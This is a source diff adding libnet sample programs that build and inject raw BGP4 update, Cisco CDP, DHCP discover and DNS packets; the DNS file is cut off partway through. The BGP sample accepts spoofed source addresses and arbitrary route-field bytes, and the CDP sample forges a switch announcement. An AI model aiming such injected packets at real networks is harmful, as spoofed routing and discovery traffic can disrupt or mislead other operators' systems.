new file mode 100644
index 0000000..a9bf52b
--- /dev/null
+++ b/libnet/sample/bgp4_update.c
@@ -0,0 +1,337 @@
+/*
+ *
+ * libnet 1.1
+ * Build a BGP4 update message with what you want as payload
+ *
+ * Copyright (c) 2003 Frédéric Raynal <pappy@security-labs.org>
+ * All rights reserved.
+ *
+ * Examples:
+ *
+ * empty BGP UPDATE message:
+ *
+ * # ./bgp4_update -s 1.1.1.1 -d 2.2.2.2
+ * libnet 1.1 packet shaping: BGP4 update + payload[raw]
+ * Wrote 63 byte TCP packet; check the wire.
+ *
+ * 13:44:29.216135 1.1.1.1.26214 > 2.2.2.2.179: S [tcp sum ok]
+ * 16843009:16843032(23) win 32767: BGP (ttl 64, id 242, len 63)
+ * 0x0000 4500 003f 00f2 0000 4006 73c2 0101 0101 E..?....@.s.....
+ * 0x0010 0202 0202 6666 00b3 0101 0101 0202 0202 ....ff..........
+ * 0x0020 5002 7fff b288 0000 0101 0101 0101 0101 P...............
+ * 0x0030 0101 0101 0101 0101 0017 0200 0000 00 ...............
+ *
+ *
+ * BGP UPDATE with Path Attributes and Unfeasible Routes Length
+ *
+ * # ./bgp4_update -s 1.1.1.1 -d 2.2.2.2 -a `printf "\x01\x02\x03"` -A 3 -W 13
+ * libnet 1.1 packet shaping: BGP4 update + payload[raw]
+ * Wrote 79 byte TCP packet; check the wire.
+ *
+ * 13:45:59.579901 1.1.1.1.26214 > 2.2.2.2.179: S [tcp sum ok]
+ * 16843009:16843048(39) win 32767: BGP (ttl 64, id 242, len 79)
+ * 0x0000 4500 004f 00f2 0000 4006 73b2 0101 0101 E..O....@.s.....
+ * 0x0010 0202 0202 6666 00b3 0101 0101 0202 0202 ....ff..........
+ * 0x0020 5002 7fff 199b 0000 0101 0101 0101 0101 P...............
+ * 0x0030 0101 0101 0101 0101 0027 0200 0d41 4141 .........'...AAA
+ * 0x0040 4141 4141 4141 4141 4141 0003 0102 03 AAAAAAAAAA.....
+ *
+ *
+ * BGP UPDATE with Reachability Information
+ *
+ * # ./bgp4_update -s 1.1.1.1 -d 2.2.2.2 -I 7
+ * libnet 1.1 packet shaping: BGP4 update + payload[raw]
+ * Wrote 70 byte TCP packet; check the wire.
+ *
+ * 13:49:02.829225 1.1.1.1.26214 > 2.2.2.2.179: S [tcp sum ok]
+ * 16843009:16843039(30) win 32767: BGP (ttl 64, id 242, len 70)
+ * 0x0000 4500 0046 00f2 0000 4006 73bb 0101 0101 E..F....@.s.....
+ * 0x0010 0202 0202 6666 00b3 0101 0101 0202 0202 ....ff..........
+ * 0x0020 5002 7fff e86d 0000 0101 0101 0101 0101 P....m..........
+ * 0x0030 0101 0101 0101 0101 001e 0200 0000 0043 ...............C
+ * 0x0040 4343 4343 4343 CCCCCC
+ *
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+
+#define set_ptr_and_size(ptr, size, val, flag) \
+ if (size && !ptr) \
+ { \
+ ptr = (u_char *)malloc(size); \
+ if (!ptr) \
+ { \
+ printf("memory allocation failed (%u bytes requested)\n", size); \
+ goto bad; \
+ } \
+ memset(ptr, val, size); \
+ flag = 1; \
+ } \
+ \
+ if (ptr && !size) \
+ { \
+ size = strlen(ptr); \
+ }
+
+
+
+int
+main(int argc, char *argv[])
+{
+ int c;
+ libnet_t *l;
+ u_long src_ip, dst_ip, length;
+ libnet_ptag_t t = 0;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+ u_char *payload = NULL;
+ u_long payload_s = 0;
+ u_char marker[LIBNET_BGP4_MARKER_SIZE];
+
+ u_short u_rt_l = 0;
+ u_char *withdraw_rt = NULL;
+ char flag_w = 0;
+ u_short attr_l = 0;
+ u_char *attr = NULL;
+ char flag_a = 0;
+ u_short info_l = 0;
+ u_char *info = NULL;
+ char flag_i = 0;
+
+ printf("libnet 1.1 packet shaping: BGP4 update + payload[raw]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_RAW4, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* error buffer */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ src_ip = 0;
+ dst_ip = 0;
+ memset(marker, 0x1, LIBNET_BGP4_MARKER_SIZE);
+
+ while ((c = getopt(argc, argv, "d:s:t:m:p:w:W:a:A:i:I:")) != EOF)
+ {
+ switch (c)
+ {
+ /*
+ * We expect the input to be of the form `ip.ip.ip.ip.port`. We
+ * point cp to the last dot of the IP address/port string and
+ * then seperate them with a NULL byte. The optarg now points to
+ * just the IP address, and cp points to the port.
+ */
+ case 'd':
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+
+ case 's':
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+
+ case 'p':
+ payload = optarg;
+ payload_s = strlen(payload);
+ break;
+
+ case 'w':
+ withdraw_rt = optarg;
+ break;
+
+ case 'W':
+ u_rt_l = atoi(optarg);
+ break;
+
+ case 'a':
+ attr = optarg;
+ break;
+
+ case 'A':
+ attr_l = atoi(optarg);
+ break;
+
+ case 'i':
+ info = optarg;
+ break;
+
+ case 'I':
+ info_l = atoi(optarg);
+ break;
+
+ default:
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ if (!src_ip || !dst_ip)
+ {
+ usage(argv[0]);
+ goto bad;
+ }
+
+ set_ptr_and_size(withdraw_rt, u_rt_l, 0x41, flag_w);
+ set_ptr_and_size(attr, attr_l, 0x42, flag_a);
+ set_ptr_and_size(info, info_l, 0x43, flag_i);
+
+ /*
+ * BGP4 update messages are "dynamic" are fields have variable size. The only
+ * sizes we know are those for the 2 first fields ... so we need to count them
+ * plus their value.
+ */
+ length = LIBNET_BGP4_UPDATE_H + u_rt_l + attr_l + info_l + payload_s;
+ t = libnet_build_bgp4_update(
+ u_rt_l, /* Unfeasible Routes Length */
+ withdraw_rt, /* Withdrawn Routes */
+ attr_l, /* Total Path Attribute Length */
+ attr, /* Path Attributes */
+ info_l, /* Network Layer Reachability Information length */
+ info, /* Network Layer Reachability Information */
+ payload, /* payload */
+ payload_s, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build BGP4 update header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ length+=LIBNET_BGP4_HEADER_H;
+ t = libnet_build_bgp4_header(
+ marker, /* marker */
+ length, /* length */
+ LIBNET_BGP4_UPDATE, /* message type */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build BGP4 header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ length+=LIBNET_TCP_H;
+ t = libnet_build_tcp(
+ 0x6666, /* source port */
+ 179, /* destination port */
+ 0x01010101, /* sequence number */
+ 0x02020202, /* acknowledgement num */
+ TH_SYN, /* control flags */
+ 32767, /* window size */
+ 0, /* checksum */
+ 0, /* urgent pointer */
+ length, /* TCP packet size */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ length+=LIBNET_IPV4_H;
+ t = libnet_build_ipv4(
+ length, /* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_TCP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c);
+ }
+
+ if (flag_w) free(withdraw_rt);
+ if (flag_a) free(attr);
+ if (flag_i) free(info);
+
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ if (flag_w) free(withdraw_rt);
+ if (flag_a) free(attr);
+ if (flag_i) free(info);
+
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+void
+usage(char *name)
+{
+ fprintf(stderr,
+ "usage: %s -s source_ip -d destination_ip \n"
+ " [-m marker] [-p payload] [-S payload size]\n"
+ " [-w Withdrawn Routes] [-W Unfeasible Routes Length]\n"
+ " [-a Path Attributes] [-A Attribute Length]\n"
+ " [-i Reachability Information] [-I Reachability Information length]\n",
+ name);
+}
+
+
+/* EOF */
diff --git a/libnet/sample/cdp.c b/libnet/sample/cdp.c
new file mode 100644
index 0000000..6ebe04f
--- /dev/null
+++ b/libnet/sample/cdp.c
@@ -0,0 +1,187 @@
+/*
+ * $Id: cdp.c,v 1.2 2004/01/03 20:31:01 mike Exp $
+ *
+ * libnet 1.1
+ * Build an CDP packet
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char *argv[])
+{
+ int c, len;
+ libnet_t *l;
+ libnet_ptag_t t;
+ u_char *value;
+ u_char values[100];
+ u_short tmp;
+ u_long tmp2;
+ char *device = NULL;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: CDP[link]\n");
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_LINK, /* injection type */
+ device, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ value = "switch";
+ len = strlen(value);
+
+ t = libnet_build_cdp(
+ 1, /* version */
+ 30, /* time to live */
+ 0, /* checksum */
+ LIBNET_CDP_DEVID, /* type */
+ len, /* length */
+ value, /* value */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build CDP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ memset(values, 0, sizeof(values));
+ tmp = htons(LIBNET_CDP_PORTID);
+ memcpy(values, &tmp, 2);
+ tmp = htons(0x0014);
+ memcpy(values + 2, &tmp, 2);
+ memcpy(values + 4, (u_char *)"FastEthernet0/20", 16);
+ t = libnet_build_data(
+ values,
+ 20,
+ l,
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build CDP data: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ memset(values, 0, sizeof(values));
+ tmp = htons(LIBNET_CDP_CAPABIL);
+ memcpy(values, &tmp, 2);
+ tmp = htons(0x0008);
+ memcpy(values + 2, &tmp, 2);
+ tmp2 = htonl((LIBNET_CDP_CAP_L2S | LIBNET_CDP_CAP_L2B));
+ memcpy(values + 4, &tmp2, 4);
+ t = libnet_build_data(
+ values,
+ 8,
+ l,
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build CDP data: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ memset(values, 0, sizeof(values));
+ tmp = htons(LIBNET_CDP_VERSION);
+ memcpy(values, &tmp, 2);
+ tmp = htons(0x001f);
+ memcpy(values + 2, &tmp, 2);
+ memcpy(values + 4, (u_char *)"ABCDEFGHIJKLMNOPQRSTUVWXYZ", 26);
+ t = libnet_build_data(
+ values,
+ 31,
+ l,
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build CDP data: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ memset(values, 0, sizeof(values));
+ tmp = htons(LIBNET_CDP_PLATFORM);
+ memcpy(values, &tmp, 2);
+ tmp = htons(0x0015);
+ memcpy(values + 2, &tmp, 2);
+ memcpy(values + 4, (u_char *)"cisco WS-C2924-XL", 17);
+ t = libnet_build_data(
+ values,
+ 21,
+ l,
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build CDP data: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ethernet(
+ enet_dst, /* ethernet destination */
+ enet_src, /* ethernet source */
+ 0x2000, /* protocol type */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte CDP packet; check the wire.\n", c);
+ }
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+/* EOF */
diff --git a/libnet/sample/dhcp_discover.c b/libnet/sample/dhcp_discover.c
new file mode 100644
index 0000000..60710b1
--- /dev/null
+++ b/libnet/sample/dhcp_discover.c
@@ -0,0 +1,257 @@
+/*
+ * $Id: dhcp_discover.c,v 1.3 2004/01/03 20:31:01 mike Exp $
+ *
+ * libnet 1.1
+ * Build a DHCP discover packet
+ * To view: /usr/sbin/tcpdump -vvvvven -s 4096 'port 67 or port 68'
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+#ifdef __WIN32__
+#include "../include/win32/getopt.h"
+#endif
+
+void
+usage(char *prog)
+{
+ fprintf(stderr, "Usage: %s interface\n", prog);
+ exit(1);
+}
+
+
+int
+main(int argc, char *argv[])
+{
+ char *intf;
+ u_long src_ip, options_len, orig_len;
+ int i;
+
+ libnet_t *l;
+ libnet_ptag_t t;
+ libnet_ptag_t ip;
+ libnet_ptag_t udp;
+ libnet_ptag_t dhcp;
+ struct libnet_ether_addr *ethaddr;
+ struct libnet_stats ls;
+
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ u_char options_req[] = { LIBNET_DHCP_SUBNETMASK , LIBNET_DHCP_BROADCASTADDR , LIBNET_DHCP_TIMEOFFSET , LIBNET_DHCP_ROUTER , LIBNET_DHCP_DOMAINNAME , LIBNET_DHCP_DNS , LIBNET_DHCP_HOSTNAME };
+ u_char *options;
+ u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
+ u_char *tmp;
+
+ // have to specify interface
+ if (argc != 2)
+ usage(argv[0]);
+ intf = argv[1];
+
+ l = libnet_init(
+ LIBNET_LINK, // injection type
+ intf, // network interface
+ errbuf); // errbuf
+ if (!l)
+ {
+ fprintf(stderr, "libnet_init: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+ else {
+ src_ip = libnet_get_ipaddr4(l);;
+
+ if ((ethaddr = libnet_get_hwaddr(l)) == NULL)
+ {
+ fprintf(stderr, "libnet_get_hwaddr: %s\n", libnet_geterror(l));
+ exit(EXIT_FAILURE);
+ }
+
+ printf("ip addr : %s\n", libnet_addr2name4(src_ip, LIBNET_DONT_RESOLVE));
+ printf("eth addr : ");
+ for (i = 0; i < 6; i++) {
+ printf("%2.2x", ethaddr->ether_addr_octet[i]);
+ if (i != 5) {
+ printf(":");
+ }
+ }
+ printf("\n");
+
+
+ // build options packet
+ i = 0;
+ options_len = 3; // update total payload size
+
+ // we are a discover packet
+ options = malloc(3);
+ options[i++] = LIBNET_DHCP_MESSAGETYPE; // type
+ options[i++] = 1; // len
+ options[i++] = LIBNET_DHCP_MSGDISCOVER; // data
+
+ orig_len = options_len;
+ options_len += sizeof(options_req) + 2; // update total payload size
+
+ // workaround for realloc on old machines
+ // options = realloc(options, options_len); // resize options buffer
+ tmp = malloc(options_len);
+ memcpy(tmp, options, orig_len);
+ free(options);
+ options = tmp;
+
+ // we are going to request some parameters
+ options[i++] = LIBNET_DHCP_PARAMREQUEST; // type
+ options[i++] = sizeof(options_req); // len
+ memcpy(options + i, options_req, sizeof(options_req)); // data
+ i += sizeof(options_req);
+
+ // if we have an ip already, let's request it.
+ if (src_ip)
+ {
+ orig_len = options_len;
+ options_len += 2 + sizeof(src_ip);
+
+ // workaround for realloc on old machines
+ // options = realloc(options, options_len);
+ tmp = malloc(options_len);
+ memcpy(tmp, options, orig_len);
+ free(options);
+ options = tmp;
+
+ options[i++] = LIBNET_DHCP_DISCOVERADDR; // type
+ options[i++] = sizeof(src_ip); // len
+ memcpy(options + i, (char *)&src_ip, sizeof(src_ip));// data
+ i += sizeof(src_ip);
+ }
+
+ // end our options packet
+ // workaround for realloc on old machines
+ // options = realloc(options, options_len); // resize options buffer
+ orig_len = options_len;
+ options_len += 1;
+ tmp = malloc(options_len);
+ memcpy(tmp, options, orig_len);
+ free(options);
+ options = tmp;
+ options[i++] = LIBNET_DHCP_END;
+
+
+ // make sure we are at least the minimum length, if not fill
+ // this could go in libnet, but we will leave it in the app for now
+ if (options_len + LIBNET_DHCPV4_H < LIBNET_BOOTP_MIN_LEN)
+ {
+ orig_len = options_len;
+ options_len = LIBNET_BOOTP_MIN_LEN - LIBNET_DHCPV4_H;
+
+ // workaround for realloc on old machines
+ // options = realloc(options, options_len);
+ tmp = malloc(options_len);
+ memcpy(tmp, options, orig_len);
+ free(options);
+ options = tmp;
+
+ memset(options + i, 0, options_len - i);
+ }
+
+ // the goodies are here
+ dhcp = libnet_build_dhcpv4(
+ LIBNET_DHCP_REQUEST, // opcode
+ 1, // hardware type
+ 6, // hardware address length
+ 0, // hop count
+ 0xdeadbeef, // transaction id
+ 0, // seconds since bootstrap
+ 0x8000, // flags
+ 0, // client ip
+ 0, // your ip
+ 0, // server ip
+ 0, // gateway ip
+ ethaddr->ether_addr_octet, // client hardware addr
+ NULL, // server host name
+ NULL, // boot file
+ options, // dhcp options stuck in payload since it is dynamic
+ options_len, // length of options
+ l, // libnet handle
+ 0); // libnet id
+
+ // wrap it
+ udp = libnet_build_udp(
+ 68, // source port
+ 67, // destination port
+ LIBNET_UDP_H + LIBNET_DHCPV4_H + options_len, // packet size
+ 0, // checksum
+ NULL, // payload
+ 0, // payload size
+ l, // libnet handle
+ 0); // libnet id
+
+ // hook me up with some ipv4
+ ip = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_DHCPV4_H
+ + options_len, // length
+ 0x10, // TOS
+ 0, // IP ID
+ 0, // IP Frag
+ 16, // TTL
+ IPPROTO_UDP, // protocol
+ 0, // checksum
+ src_ip, // src ip
+ inet_addr("255.255.255.255"), // destination ip
+ NULL, // payload
+ 0, // payload size
+ l, // libnet handle
+ 0); // libnet id
+
+ // we can just autobuild since we arent doing anything tricky
+ t = libnet_autobuild_ethernet(
+ enet_dst, // ethernet destination
+ ETHERTYPE_IP, // protocol type
+ l); // libnet handle
+
+ // write to the wire
+ if (libnet_write(l) == -1)
+ {
+ fprintf(stderr, " %s: libnet_write: %s\n", argv[0],
+ strerror(errno));
+ exit(EXIT_FAILURE);
+ }
+
+ // fill and print stats
+ libnet_stats(l, &ls);
+ fprintf(stderr, "Packets sent: %lld\n"
+ "Packet errors: %lld\n"
+ "Bytes written: %lld\n",
+ ls.packets_sent, ls.packet_errors, ls.bytes_written);
+ libnet_destroy(l);
+
+ // free mem
+ free(options);
+
+ exit(0);
+ }
+ exit(0);
+}
diff --git a/libnet/sample/dns.c b/libnet/sample/dns.c
new file mode 100644
index 0000000..1d49077
--- /dev/null
+++ b/libnet/sample/dns.c
@@ -0,0 +1,260 @@
+/*
+ *
+ * libnet 1.1
+ * Build a DNSv4 packet
+ * To view: /usr/sbin/tcpdump -vvvvven -s 0 port 53
+ *
+ * Copyright (c) 2003 Frédéric Raynal <pappy@security-labs.org>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+#ifdef __WIN32__
+#include "../include/win32/getopt.h"
+#endif
+
+void
+usage(char *prog)
+{
+ fprintf(stderr, "Usage: %s -d dst_ip -q query_host [-s src_ip] [-t]\n", prog);
+ exit(1);
+}
+
+
+int
+main(int argc, char *argv[])
+{
+ char c;
+ u_long src_ip = 0, dst_ip = 0;
+ u_short type = LIBNET_UDP_DNSV4_H;
+ libnet_t *l;
+
+ libnet_ptag_t ip;
+ libnet_ptag_t ptag4; /* TCP or UDP ptag */
+ libnet_ptag_t dns;
+
+ char errbuf[LIBNET_ERRBUF_SIZE];
+ char *query = NULL;
+ char payload[1024];
+ u_short payload_s;
+
+ printf("libnet 1.1 packet shaping: DNSv4[raw]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_RAW4, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* error buffer */
+
+ if (!l)
+ {
+ fprintf(stderr, "libnet_init: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ /*
+ * parse options
+ */
+ while ((c = getopt(argc, argv, "d:s:q:t")) != EOF)
+ {
+ switch (c)
+ {
+
+ case 'd':
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 's':
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 'q':
+ query = optarg;
+ break;
+ case 't':
+ type = LIBNET_TCP_DNSV4_H;
+ break;
+ default:
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ if (!src_ip)
+ {
+ src_ip = libnet_get_ipaddr4(l);
+ }
+
+ if (!dst_ip || !query)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ /*
+ * build dns payload
+ */
+ payload_s = snprintf(payload, sizeof payload, "%c%s%c%c%c%c%c",
+ (char)(strlen(query)&0xff), query, 0x00, 0x00, 0x01, 0x00, 0x01);
+
+ /*
+ * build packet
+ */
+ dns = libnet_build_dnsv4(
+ type, /* TCP or UDP */
+ 0x7777, /* id */
+ 0x0100, /* request */
+ 1, /* num_q */
+ 0, /* num_anws_rr */
+ 0, /* num_auth_rr */
+ 0, /* num_addi_rr */
+ payload,
+ payload_s,
+ l,
+ 0
+ );
+
+ if (dns == -1)
+ {
+ fprintf(stderr, "Can't build DNS packet: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ if (type == LIBNET_TCP_DNSV4_H) /* TCP DNS */
+ {
+ ptag4 = libnet_build_tcp(
+ 0x6666, /* source port */
+ 53, /* destination port */
+ 0x01010101, /* sequence number */
+ 0x02020202, /* acknowledgement num */
+ TH_PUSH|TH_ACK, /* control flags */
+ 32767, /* window size */
+ 0, /* checksum */
+ 0, /* urgent pointer */
+ LIBNET_TCP_H + LIBNET_TCP_DNSV4_H + payload_s, /* TCP packet size */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+
+ if (ptag4 == -1)
+ {
+ fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+
